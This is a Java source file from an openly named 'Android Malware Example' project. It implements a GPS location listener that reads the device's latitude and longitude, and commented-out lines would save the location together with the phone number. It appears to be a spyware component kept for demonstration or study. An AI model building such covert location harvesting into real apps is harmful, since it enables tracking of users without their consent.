/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.util.Log;


public class GPSLocation implements LocationListener {
    Context context;
    protected LocationManager locationManager;
    boolean isGPSEnabled = false;
    boolean isNetworkEnabled = false;
    boolean canGetLocation = false;
    ConfigParams configParams;

    Location location; // location
    LatLon latlon = new LatLon();

    //double latitude=9999; // latitude
    //double longitude=9999; // longitude


    // The minimum distance to change Updates in meters
    private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 5; // 10 meters

    // The minimum time between updates in milliseconds
    private static final long MIN_TIME_BW_UPDATES = 10000; // 1 second

    public GPSLocation(Context _context) {
        context = _context;
        configParams = new ConfigParams(context);
        locationManager = (LocationManager) context
                .getSystemService(Context.LOCATION_SERVICE);
        isGPSEnabled = locationManager
                .isProviderEnabled(LocationManager.GPS_PROVIDER);
        isNetworkEnabled = locationManager
                .isProviderEnabled(LocationManager.NETWORK_PROVIDER);

    }
    public class LatLon {
        public double lat;
        public double lon;
    }
    public LatLon getLocation() {



        try {

            // getting GPS status
            isGPSEnabled = locationManager
                    .isProviderEnabled(LocationManager.GPS_PROVIDER);

            // getting network status
            isNetworkEnabled = locationManager
                    .isProviderEnabled(LocationManager.NETWORK_PROVIDER);
            isNetworkEnabled=false;
            if (!isGPSEnabled && !isNetworkEnabled) {
                // no network provider is enabled
            } else {
                this.canGetLocation = true;
                if (isGPSEnabled) {

                    try {
                        if (location == null) {

                            locationManager.requestLocationUpdates(
                                    LocationManager.GPS_PROVIDER,
                                    MIN_TIME_BW_UPDATES,
                                    MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
                            Log.d("GPS Enabled", "GPS Enabled");
                            if (locationManager != null) {
                                location = locationManager
                                        .getLastKnownLocation(LocationManager.GPS_PROVIDER);
                                if (location != null) {
                                    latlon.lat = location.getLatitude();
                                    latlon.lon  = location.getLongitude();
                                }
                            }
                        }
                    } catch (SecurityException sec){

                        Log.d(configParams.PROGID, "Unable to get GPS Location");
                    }


                }else if (isNetworkEnabled) {

                    try {


                        locationManager.requestLocationUpdates(
                                LocationManager.NETWORK_PROVIDER,
                                MIN_TIME_BW_UPDATES,
                                MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
                        Log.d("Network", "Network");
                        if (locationManager != null) {
                            location = locationManager
                                    .getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
                            if (location != null) {
                                LatLon _latlon = new LatLon();

                                _latlon.lat = location.getLatitude();
                                _latlon.lon = location.getLongitude();
                                Log.d("BGMonitor_GPSLocation", "Network Location[Lat=" + _latlon.lat + "] [Lon=" + _latlon.lon + "]");

                            }
                        }
                    } catch (SecurityException sec){

                        Log.d(configParams.PROGID,"Unable to get network location");
                    }
                }
                // if GPS Enabled get lat/long using GPS Services
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    return latlon;
    }

    public void stopUsingGPS() {
        if (locationManager != null) {
            try {
                locationManager.removeUpdates(GPSLocation.this);
            }catch (SecurityException sec){

            }
        }
    }

    /**
     * Function to get latitude
     * */
    public double getLatitude() {
        if (location != null) {
            latlon.lat = location.getLatitude();
        }

        // return latitude
        return  latlon.lat;
    }

    /**
     * Function to get longitude
     * */
    public double getLongitude() {
        if (location != null) {
            latlon.lon = location.getLongitude();
        }

        // return longitude
        return latlon.lon;
    }

    @Override
    public void onLocationChanged(Location location) {
        //	Log.d("BGMonitor_GPSLocation", "onLocationChanged[Lat="+latitude+"] [Lon="+longitude+"]");
//        WritePhoneInfo _wpi = new WritePhoneInfo();
//        _wpi.SavePhoneLocation(Double.toString(latitude),Double.toString(longitude),PhoneNum);
        stopUsingGPS();
    }

    @Override
    public void onProviderDisabled(String provider) {
    }

    @Override
    public void onProviderEnabled(String provider) {
    }




    @Override
    public void onStatusChanged(String arg0, int arg1, Bundle arg2) {
        // TODO Auto-generated method stub
        //	Log.d("BGMonitor_GPSLocation", "onStatusChanged");
//		WritePhoneInfo _wpi = new WritePhoneInfo();
//		_wpi.SavePhoneLocation(Double.toString(latitude),Double.toString(longitude),PhoneNum);
//		stopUsingGPS();
    }

}